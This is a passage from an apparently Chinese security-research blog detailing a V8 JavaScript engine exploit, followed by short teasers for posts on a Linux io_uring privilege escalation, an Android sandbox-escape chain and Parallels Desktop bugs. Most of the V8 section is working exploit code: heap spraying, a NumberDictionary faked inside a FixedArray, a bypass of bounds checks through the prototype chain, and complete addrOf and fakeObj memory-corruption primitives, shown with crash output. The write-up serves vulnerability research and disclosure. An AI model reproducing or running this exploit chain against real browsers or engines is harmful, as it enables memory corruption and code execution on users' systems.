o["CanBeDeprecated"] = i;

/*
job(o)->map->elements_kind默认为HOLEY_ELEMENTS
添加稀疏的索引属性, 使其elements_kind泛化为DICTIONARY_ELEMENTS
job(Object)->map->elements_kind默认为HOLEY_ELEMENTS
这会导致TransitionToDataProperty()创新的新隐式类的lements_kind有误
job(Object)->map->elements_kind被覆盖为DICTIONARY_ELEMENTS
*/
for(let i=0; i<16; i++) {
o[i*1000] = i;
}
arr.push(o);
}
}
heap_spray(37000); // 平均为第18500个对象喷上去

// job(obj)->elements为FixedArray, job(obj)->map->elements=HOLEY_ELEMENTS
obj[0] = 0;
obj[1] = 1;
obj[2] = 2;
obj[3] = 3;

// 触发TransitionToDataProperty()中的feedback_normalization部分代码
// 越界读到job(o)->map作为job(Object)->map->constructor->initial_map
// 使得job(Object)->map->elements_kind被覆盖为DICTIONARY_ELEMENTS
for (let i = 0; i < 3; i++) {
print("add property ============> " + i);
obj["p" + i] = i;
}

print("====== try to read");
%DebugPrint(obj);

// 这里就会触发DCHECK
print(obj[0]);
%SystemBreak();

由此扩大了战果, 得到了新的crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(elements) at ../../src/ic/accessor-assembler.cc:2561
Expected NumberDictionary but found 0xdf9004ff835: [FixedArray]
- map: 0x0df90000056d <Map(FIXED_ARRAY_TYPE)>
- length: 17
0: 0
1: 1
2: 2
3: 3
4-16: 0x0df900000741 <the_hole_value>

#
#
#
#FailureMessage Object: 0x7fffffffcb70
==== C stack trace ===============================

3.3 内存越界实现addrOf与fakeObj原语

总结一下之前的利用过程

  • 首先是越界读误把job(Object)->map->constructor后面一个对象的map作为当作是job(Object)->map->constructor->initial_map
  • job(Object)->map->constructor后面一个对象刚好就是job(Object)->map->constructor->properties指向的PropertyArray对象. 添加属性释放该对象并通过堆喷使得越界读到的map字段可控
  • 越界读到initial_map后会调用Normalize(initial_map)将其转换为dictionary_map, 并且会调用EquivalentToForNormalization()检查一些字段是否与job(Object)->map一致, 确认无误后, Normalize(initial_map)会作为job(Object)->map
  • Normalize()EquivalentToForNormalization()不会对elements_kind字段进行任何检查, 默认job(Object)->map->elements_kindjob(Object)->map->constructor->initial->elements_kind是一致的, 由此导致job(Object)->map->elements_kind可以被伪造, 从HOLEY_ELEMENTS被覆盖为DICTIONARY_ELEMENTS, 但是job(Object)->elements不会改变

现在的问题: 把HOLEY_ELEMENTS混淆为DICTIONARY_ELEMENTS后如何利用?

研究读写elements时进行的操作, 看看能否转换为任意读写

3.3.1 NumberDictionary的内存布局

JSObject::eleemtns字段有两种模式

  • fast: 始终指向FixedArray类型的对象
  • slow: 指向NumberDictionary类型的对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
extern class JSObject extends JSReceiver {
// [elements]: The elements (properties with names that are integers).
//
// Elements can be in two general modes: fast and slow. Each mode
// corresponds to a set of object representations of elements that
// have something in common.
//
// In the fast mode elements is a FixedArray and so each element can be
// quickly accessed. The elements array can have one of several maps in this
// mode: fixed_array_map, fixed_double_array_map,
// sloppy_arguments_elements_map or fixed_cow_array_map (for copy-on-write
// arrays). In the latter case the elements array may be shared by a few
// objects and so before writing to any element the array must be copied. Use
// EnsureWritableFastElements in this case.
//
// In the slow mode the elements is either a NumberDictionary or a
// FixedArray parameter map for a (sloppy) arguments object.
elements: FixedArrayBase;
}

FixedArrayBaseFixedArrayNumberDictionary的基类, 发现NumberDictionaryFixedArray的子类, 内存布局完全一致, 只是对于数组中项使用上的区别, 这是非常好的性质, 可以通过FixedArray中的SMI或者指针任意伪造NumberDictionary中的一些元数据字段

1
2
3
4
5
6
7
8
9
10
11
extern class FixedArrayBase extends HeapObject {
const length: Smi;
}

extern class FixedArray extends FixedArrayBase {
objects[length]: Object;
}

extern class HashTable extends FixedArray generates 'TNode<FixedArray>';

extern class NumberDictionary extends HashTable;

那么NumberDictionary中数组的项有哪些用于元数据呢? 对于下面例子

1
2
3
4
5
6
7
8
let o = {};
o[0] = 0xFF00>>1;
o[1] = 0xFF01>>1;
o[2] = 0xFF02>>1;
o[9999] = 0xFFCC>>1;
delete o[0];
%DebugPrint(o);
%SystemBreak();

o的对象表示如下

内存布局如下

  • NumberDictionary采用数组来实现一个hash表, 解决hash冲突的方式简单, 如果如果hash(key) = i, 但是Entry[i]已经被占用了, 那么就直接延后尝试放在Entry[i+1], Entry[i+2], ...
  • 因此在查询NumberDictionary时, 如果hash(key) = i, 那么就需要从Entry[i]开始遍历数组, 直到Entry[i].key == key为止
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
NumberDictionary:
|---------------------|
| map |
|---------------------|
| length |
|---------------------|
| elements | <= 0
|---------------------|
| deleted |
|---------------------|
| capacity |
|---------------------|
| max_key |
|---------------------|
| key | <= Entry[0]
|---------------------|
| value |
|---------------------|
| details |
|---------------------|
| key | <= Entry[1]
|---------------------|
| value |
|---------------------|
| details |
|---------------------|
....

3.3.2 伪造NumberDictionary对象

现在可以伪造一个NumberDictionary对象了, 应该尝试给一个很大的capacity, 使其越界读写

想要实现OOB需要解决两个问题

  • 如何控制entry索引
  • 如果控制job(obj)->elements后面的内存

回顾搜索过程, initial_entry = hash(index)&(capacity-1), hash计算的过程如下, 关键的是计算hash时会与HashSeed进行异或, 但是HashSeed()是随机数的不可控, 这就导致hash(index)的结果不可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static uint32_t ComputeSeededIntegerHash(Isolate* isolate, int32_t key) {
DisallowGarbageCollection no_gc;
return ComputeSeededHash(static_cast<uint32_t>(key), HashSeed(isolate));
}


void Heap::InitializeHashSeed() {
DCHECK(!deserialization_complete_);
uint64_t new_hash_seed;
if (v8_flags.hash_seed == 0) {
int64_t rnd = isolate()->random_number_generator()->NextInt64();
new_hash_seed = static_cast<uint64_t>(rnd);
} else {
new_hash_seed = static_cast<uint64_t>(v8_flags.hash_seed);
}
Tagged<ByteArray> hash_seed = ReadOnlyRoots(this).hash_seed();
MemCopy(hash_seed->begin(), reinterpret_cast<uint8_t*>(&new_hash_seed),
kInt64Size);
}

思路

  • capacity是自己可以完全控制的, 不一定要完全为2的幂, 如果是0x1, 那么hash的结果就恒定为0, 这样就可以消除hash与随机数带来的熵
  • initial_entry只是大数组中起始搜索的位置, 只要key匹配不上后续就会一致遍历

那么怎么布局堆? 溢出覆盖哪一个对象?
现在是一个部分受限制的数组OOB

  • Entry[i].key必须已知
  • Entry[i].value可以被任意读写
  • Entry[i].details的最后1bit必须是0, 必须是SMI
  • i必须是2^n - 1, 这样稳定性最高, 位于数组最后一个, 无论initial_entry从哪里开始都可以命中. 这个可以通过填充[1, 2, 3, ...]来控制, 不难解决
    图示:
1
2
3
4
5
6
7
 -------------
| 可知值 | <= Entry[i].key
--------------
| 被读写 | <= Entry[i].value
--------------
| 末尾1bit=0 | <= Entry[i].details, 必须是SMI
--------------

或者溢出就控制JSArray中的元素, 因为想在相当于有了两种写入同一个对象中元素的方式, 能否搞出一个类型混淆, 直接实现fakeObj和addrOf原语?

POC如下, obj[0xDD]arr[7]实际引用到的是同一个元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// job(obj)->elements为FixedArray, job(obj)->map->elements_kind=HOLEY_ELEMENTS
// 后续elements_kind会被覆盖为DICTIONARY_ELEMENTS, job(obj)->elements会被当作是NumberDictionary对象
// 因此这里在FixedArray中伪造一个可以OOB的NumberDictionary
obj[0] = 0x7; // elements
obj[1] = 0x0; // deleted
obj[2] = 0x8; // capacity
obj[3] = 0x8; // max_key
// job(obj)->elements一共17项, 剩余13个空位用于Entry数组
// 一个Entry占据3个空位, 13=3*4+1, 这里先放置4个Entry
for(let entry=0; entry<4; entry++){
obj[4+entry*3+0] = entry; // Entry[entry].key
obj[4+entry*3+1] = 0x0; // Entry[entry].value
obj[4+entry*3+2] = 0x0; // Entry[entry].details
}
obj[4+4*3+0] = 0xCC>>1; // Entry[4].key

// 在job(obj)->elements后面先是job(arr)->elements对应的FixedArray对象, 这个对象长度可以任意控制
// Entry[4].value对应job(arr)->elements->map
// Entry[4].detaisl对应job(arr)->elements->length
// 这样布局, 使得job(arr)->map刚好是NumberDictionary中Entry[7].value
let arr = Array.of(
0x0, // Entry[5].key
0x0, // Entry[5].value
0x0, // Entry[5].details
0x0, // Entry[6].key
0x0, // Entry[6].value
0x0, // Entry[6].details
0xDD, // Entry[7].key
0xbeef, // Entry[7].value
0x0, // Entry[7].details
);

// 触发TransitionToDataProperty()中的feedback_normalization部分代码
// 越界读到job(o)->map作为job(Object)->map->constructor->initial_map
// 使得job(Object)->map->elements_kind被覆盖为DICTIONARY_ELEMENTS
for (let i = 0; i < 3; i++) {
print("add property ============> " + i);
obj["p" + i] = i;
}

// 这里 hash(0xCC)&(capacity-1) = hash(0xCC)&(2-1) = 0
// 从而获取Entry[0].value作为值
print("====== try to read obj[0xDD]");
print(obj[0xDD]);
print("====== try to read obj[0xDD]");
%SystemBreak();

SMI数组ptr使用最低1bit进行区分, 所以没法直接混淆, 可以让arr变成double array, 这样就可以完全控制一个Word中的所有bit, 完成double和TaggedPtr之间的混淆

总结: 虽然Entry溢出没法直接溢出到JSArray, Map等对象的关键字段, 但是可以直接使得job(obj)->elementsDictionArray对象与job(arr)->elementsFixedDoubleArray对象重叠, 这样就可以实现对于相同内存数据的不同解释方式:

  • job(obj)->elements认为Entry的key为TaggedPtr表示方式, 如果末尾1bit为1就会解释为js对象
  • job(arr)->elements认为内部是64字节的Double数据, 会将其作为纯数据控制

进一步的

  • addrOf()原语

    • obj[0xDD] = {}相当于在job(obj)->elements.entry[7].value中对象指针
    • 读入arr[3]相当于把job(arr)->elements[3]中的数据当做浮点数读出来
    • 由于对象重叠job(arr)->elements[3]job(obj)->elements.entry[7].value实际上是同一个内存地址, 这就可以泄露对象指针
  • fakeObj()原语: 思路是一样的, 先arr[3]=...以浮点数的方式写入数据, 然后obj[0xDD]将其作为对象指针读出来

3.3.3 绕过CSA CHECK

实测发现无法通过伪造capacity字段进行越界
伪造NumberDictionary::capacity字段的方式无法实现数组越界, 因为每次从job(obj)->elements中加载元素时总会与job(obj)->elements->length字段进行检查

1
2
3
4
5
6
7
8
9
10
11
12
13
template <typename TIndex>
TNode<Object> CodeStubAssembler::LoadFixedArrayElement(
TNode<FixedArray> object, TNode<TIndex> index, int additional_offset,
CheckBounds check_bounds) {
...

if (NeedsBoundsCheck(check_bounds)) { // Always
FixedArrayBoundsCheck(object, index, additional_offset);
}
TNode<MaybeObject> element = LoadArrayElement(object, FixedArray::kHeaderSize,
index, additional_offset);
return CAST(element);
}

后续发现: 也就是说DictionaryNumber的读走的是CSA编写的方法, 这会进行字段的检查, 但是DictionaryNumber的写入走的是Runtime方法, Runtime方法并没有进行Elements数组边界检查, 这启发我们: 能否让DictionaryNumber的读操作也走Runtime方法, 以绕过CAS的CHECK检查

检查一下CSA实现的DictionaryNumber的Load的逻辑, 看一下怎么使其进入Runtime的处理方法

KeyedLoadIC_Megamorphic()会调用到KeyedLoadICGeneric(), KeyedLoadICGeneric():

  • 首先调用TryToName()转换var_name, "0"可以转换为索引, 所以会进入if_index分支
  • if_index分支中会调用GenericElementLoad()NumbericDictionary中根据index搜索对应的值, 如果搜索失败则进入if_runtime分支
  • if_runtime分支会调用runtime方法GetProperty()进行处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void AccessorAssembler::KeyedLoadICGeneric(const LoadICParameters* p) {
TVARIABLE(Object, var_name, p->name()); // key的名字
Label if_runtime(this, Label::kDeferred);
TNode<Object> lookup_start_object = p->lookup_start_object(); // 从哪个对象开始搜索属性
// 要加载key的对象是SMI, null, undefined, 则进入if_runtime分支处理
GotoIf(TaggedIsSmi(lookup_start_object), &if_runtime);
GotoIf(IsNullOrUndefined(lookup_start_object), &if_runtime);

{
TVARIABLE(IntPtrT, var_index);
TVARIABLE(Name, var_unique);
Label if_index(this), if_unique_name(this, &var_name), if_notunique(this), if_other(this, Label::kDeferred);

// 尝试把var_name转换为属性名字, 如果可以转换为数组索引, 则进入if_index分支
TryToName(var_name.value(), &if_index, &var_index, &if_unique_name, &var_unique, &if_other, &if_notunique);
...

BIND(&if_index);
{
Print("if_index");
TNode<Map> lookup_start_object_map = LoadMap(CAST(lookup_start_object));
GenericElementLoad(CAST(lookup_start_object), lookup_start_object_map,
LoadMapInstanceType(lookup_start_object_map),
var_index.value(), &if_runtime);
}
}

BIND(&if_runtime);
{
// TODO(jkummerow): Should we use the GetProperty TF stub instead?
TailCallRuntime(Runtime::kGetProperty, p->context(), p->receiver_and_lookup_start_object(), var_name.value());
}
}

注意:

  • js中一个对象可以访问的属性除了自身内部定义的属性外, 还有其整个原型链上定义的属性, 都是可读写的

  • 比如obj[0xDD]

    • KeyedLoadICGeneric()if_index分支, 就专门用于在job(obj)->elements中搜索0xDD对应的属性, 如果job(obj)->elements中不存在那么就会进入if_runtime分支
    • if_runtime分支会调用Runtime方法GetProperty, GetProperty则是严格按照js中属性访问的定义来实现的, 如果job(obj)->elements中不存在, 还会搜索job(obj)->properties, 并沿着原型链job(obj)->map->prototype指向的对象进行搜索
    • 也就是说: fast_path只会搜索对象自身, slow_path会沿着整个原型链进行完整的搜索

因此, 直接访问obj[0xDD]会命中CSA中的检查, 但是使用原型对象中转一下就可以实现通过Runtime路径完成读写obj[0xDD]这个属性

POC如下

  • obj2只是一个普通的JS_OBJECT对象, 自身没有任何属性, 因此KeyedLoadICGeneric()在处理obj2[0xDD]时是无法在job(obj2)->elements中找到这个属性, 因此会进入if_runtime分支
  • if_runtime分支的GetProperty()方法沿着原型链寻找, 最终在job(obj)->elements中找到0xDD对应的属性值, 在读入时runtime方法的get()并不会检查是否超过了job(obj)->elements->length由此完成越界读写
1
2
3
4
5
6
let obj2 = {};
obj2.__proto__ = obj;
%DebugPrint(obj2);
print("====== try to read obj[0xDD]");
print("====> "+ obj2[0xDD]);
print("====== try to read obj[0xDD]");

这也addrOf与fakeObj原语就齐全了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
/*===============工具方法===============*/
// 下面这三个TypeArray共享同一个字节序列缓冲区
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}

function itof(i)
{
bigUint64[0] = i;
return f64[0];
}

function utof(lo, hi) {
u32[0] = Number(lo);
u32[1] = Number(hi);
return f64[0];
}

function ftou(v) {
f64[0] = v;
return u32;
}

function hex(i)
{
return "0x"+i.toString(16).padStart(16, "0");
}

/*===============工具方法===============*/

/*===============构造fakeObj()与addrOf()原语===============*/
let obj = Object;

// 使得job(Object)->map->constructor->properties被弃用
// 为job(Object)->map->constructor后面的越界读腾出32B空闲空间
Object.__proto__["aaa"] = 123;
// gc(); // 不要主动触发GC, 后面堆喷时触发GC命中概率更大

let spray_obj_arr = []; // 保持引用, 防止喷射的对象被GC掉
function heap_spray(cnt){
for(let i=0; i<cnt; i++) {
if(i%5000==0)
print("heap spray ============> " + i);

/*
job(o)->map会被当做是job(Object)->map->constructor->initial_map
job(Object)->map->instance_type为JS_FUNCTION_TYPE
EquivalentToForNormalization()会检查下面两个map的instance_type是否一致
- Normalize(job(o)->map)
- job(Object)->map
所以job(o)->map->instanl_map只能为JS_FUNCTION_TYPE
因此o只能是JSFunction类型的对象
*/
let o = function (){};

/*
添加一个SMI属性, 为了绕过:
# Fatal error in ../../src/objects/map.cc, line 598
# Debug check failed: CanBeDeprecated().
*/
o["CanBeDeprecated"] = i;

/*
job(o)->map->elements_kind默认为HOLEY_ELEMENTS
添加稀疏的索引属性, 使其elements_kind泛化为DICTIONARY_ELEMENTS
job(Object)->map->elements_kind默认为HOLEY_ELEMENTS
这会导致TransitionToDataProperty()创新的新隐式类的lements_kind有误
job(Object)->map->elements_kind被覆盖为DICTIONARY_ELEMENTS
*/
for(let i=0; i<16; i++) {
o[i*1000] = i;
}
spray_obj_arr.push(o);
}
}
heap_spray(37000); // 平均为第18500个对象喷上去

// job(obj)->elements为FixedArray, job(obj)->map->elements_kind=HOLEY_ELEMENTS
// 后续elements_kind会被覆盖为DICTIONARY_ELEMENTS, job(obj)->elements会被当作是NumberDictionary对象
// 因此这里在FixedArray中伪造一个可以OOB的NumberDictionary
obj[0] = 0x7; // elements
obj[1] = 0x0; // deleted
obj[2] = 0x8; // capacity
obj[3] = 0x100; // max_key
// job(obj)->elements一共17项, 剩余13个空位用于Entry数组
// 一个Entry占据3个空位, 13=3*4+1, 这里先放置4个Entry
for(let entry=0; entry<4; entry++){
obj[4+entry*3+0] = entry; // Entry[entry].key
obj[4+entry*3+1] = 0x0; // Entry[entry].value
obj[4+entry*3+2] = 0x0; // Entry[entry].details
}
obj[4+4*3+0] = 0xCC>>1; // Entry[4].key

// 在job(obj)->elements后面先是job(arr)->elements对应的FixedArray对象, 这个对象长度可以任意控制
// Entry[4].value对应job(arr)->elements->map
// Entry[4].detaisl对应job(arr)->elements->length
let arr = [
// 通通常量展开, 避免对堆布局产生干扰
// utof(
// 0x0, // Entry[5].key
// 0x0, // Entry[5].value
// ),
0.0,
// utof(
// 0x0, // Entry[5].details
// 0x0, // Entry[6].key
// ),
0.0,
// utof(
// 0x0, // Entry[6].value
// 0x0, // Entry[6].details
// ),
0.0,
// utof(
// 0xDD<<1, // Entry[7].key, 0xDD的SMI表示
// 0x0, // Entry[7].value
// )
2.184e-321,
// utof(
// 0x0, // Entry[7].details
// 0x0, // Entry[8].key
// ),
0.0,
];

// 触发TransitionToDataProperty()中的feedback_normalization部分代码
// 越界读到job(o)->map作为job(Object)->map->constructor->initial_map
// 使得job(Object)->map->elements_kind被覆盖为DICTIONARY_ELEMENTS
for (let i = 0; i < 3; i++) {
print("add property ============> " + i);
obj["p" + i] = i;
}

// 检查是否喷射成功, 实现数组重叠
// 注意: obj[0xDD]会走CSA方法NumberDictionaryLookup()来实现, 该方法会检查elemebts是否越界
// 但是obj[0xDD]=...;会走Runtime方法SetObjectProperty()实现, Runtime方法在release编译时不会检查elements是否越界
print("====== try to store obj[0xDD]");
// obj[0xDD]在NumberDictionary中查找时总会命中Entry[7]
// 所以obj[0xDD]和arr[3]是重叠的, 但前者是TaggedPtr表示方式, 后者是Double的表示方法
obj[0xDD] = 0xdead;
if(arr[3]!=2.41928740128169e-309) { // arr[3]!=utof(0xDD<<1, 0xdead<<1)
throw("sad, heap spray may fail");
}
print("NICE: heap spary success, obj[0xDD] overlaps arr[3]");

function addrOf(obj_to_leak) {
// 0xDD根据NumberDictionaryLookup()的搜索会命中Entry[7]
// 因此这里相当于 Entry[7].value = job(obj_to_leak)
obj[0xDD] = obj_to_leak;
// job(obj)->elements的NumberDictionary对象和job(arr)->elements的FixedDoubleArray是重叠的
// Entry[7].value对应job(arr)->elements[3]的Double的高32bit
return ftoi(arr[3])>>32n;
}

function fakeObj(addr) {
// 同上这里以浮点数的方式不受限的写入Entry[7].value
arr[3] = utof(
0xDD<<1, // Entry[7].key
addr // Entry[7].value
);

// 这里使用原型对象中转一下, 由于0xDD并没有直接定义在job(obj_agent)->elements中
// 因此CSA实现的处理路径中KeyedLoadICGeneric()方法会进入miss分支, 由此进入Runtime实现的处理路径
// 但是Runtime实现的处理方法SetObjectProperty()不会检查是否越界, 由此实现OOB读
let obj_agent = {};
obj_agent.__proto__ = obj;

// 这里把Entry[7].value当作是指针读出来, 从而获取对象
return obj_agent[0xDD];
}

/*===============构造fakeObj()与addrOf()原语===============*/

4. 漏洞利用展示

有了addrOf与fakeObj原语后, 还需要通过shellcode偷渡技术来绕过CFI保护(使用PKEY禁止写入rwx页), 本exp并未绕过v8 heap sandbox, 最终利用效果如下

本实验室使用syzkaller对linux-5.19-rc2版本的io_uring模块进行fuzz时, 在io_register_pbuf_ring()函数中发现了了一枚由于错误的异常处理导致的UAF漏洞, 通过slab跳跃与kernel unlink attack等技巧, 本文较为简单的堆环境下成功实现了提权. 但是目前该漏洞已经在5.19-rc8中被修复, 因此决定将该0day漏洞发现的过程与漏洞利用细节进行公布

阅读全文 »

Abstract

The Android Application Sandbox is the cornerstone of the Android Security Model, which protects and isolates each application’s process and data from the others. Attackers usually need kernel vulnerabilities to escape the sandbox, which by themselves proved to be quite rare and difficult due to emerging mitigation and attack surfaces tightened.

However, we found a vulnerability in the Android 11 stable that breaks the dam purely from userspace. Combined with other 0days we discovered in major Android vendors forming a chain, a malicious zero permission attacker app can totally bypass the Android Application Sandbox, owning any other applications such as Facebook and WhatsApp, reading application data, injecting code or even trojanize the application ( including unprivileged and privileged ones ) without user awareness. We named the chain "Mystique" after the famous Marvel Comics character due to the similar ability it possesses.

In this talk we will give a detailed walk through on the whole vulnerability chain and bugs included. On the attack side, we will discuss the bugs in detail and share our exploitation method and framework that enables privilege escalation, transparently process injection/hooking/debugging and data extraction for various target applications based on Mystique, which has never been talked about before. On the defense side, we will release a detection SDK/tool for app developers and end users since this new type of attack differs from previous ones, which largely evade traditional analysis.

阅读全文 »

摘要

Android 应用程序沙箱是 Android 安全模型的基石,它保护并隔离每个应用程序的进程和数据。攻击者通常需要内核漏洞来逃离沙箱,由于新兴的缓解措施和攻击面收紧,这本身被证明是非常罕见和困难的。

但是,我们在 Android 11 稳定版中发现了一个漏洞,该漏洞完全来自用户空间。结合我们在主要Android供应商中发现的其他0day形成链,恶意零权限攻击者应用程序可以完全绕过Android应用程序沙箱,拥有Facebook和WhatsApp等任何其他应用程序,在用户无意识的情况下,读取应用程序数据,注入代码甚至木马化应用程序(包括非特权和特权的)。我们以著名的漫威漫画角色命名该连锁店“Mystique”,因为它拥有类似的能力。

在本次演讲中,我们将详细介绍整个漏洞链和包含的错误。在攻击方面,我们将详细讨论漏洞并分享我们的利用方法和框架,该方法和框架可以实现基于 Mystique 的各种目标应用程序的权限提升、透明进程注入/挂钩/调试和数据提取,这是以前从未讨论过的。在防御方面,我们将为应用程序开发人员和最终用户发布检测 SDK/工具,因为这种新型攻击与以前的攻击不同,很大程度上规避了传统分析。

阅读全文 »

Parallels Desktop is a virtual machine software under the macOS system that helps users run Windows, Linux and other operating systems. In September 2021, I started security research on Parallels Desktop, during which I discovered several high-severity vulnerabilities. Unfortunately, in the latest update, my vulnerabilities were patched. I wrote this article to describe my Parallels Desktop research process, as well as the technical details of finding and exploiting vulnerabilities.

阅读全文 »

Parallels Desktop是在macOS系统下的一款虚拟机软件,帮助用户在macOS上运行Windows、Linux等操作系统。在2021年9月份我开始了Parallels Desktop的安全研究,期间发现了若干高危漏洞,非常不幸地是在最近一次更新中,我的漏洞被修补掉了。我写这篇文章用于介绍我的Parallels Desktop研究过程,以及发现漏洞、利用漏洞的技术细节。

阅读全文 »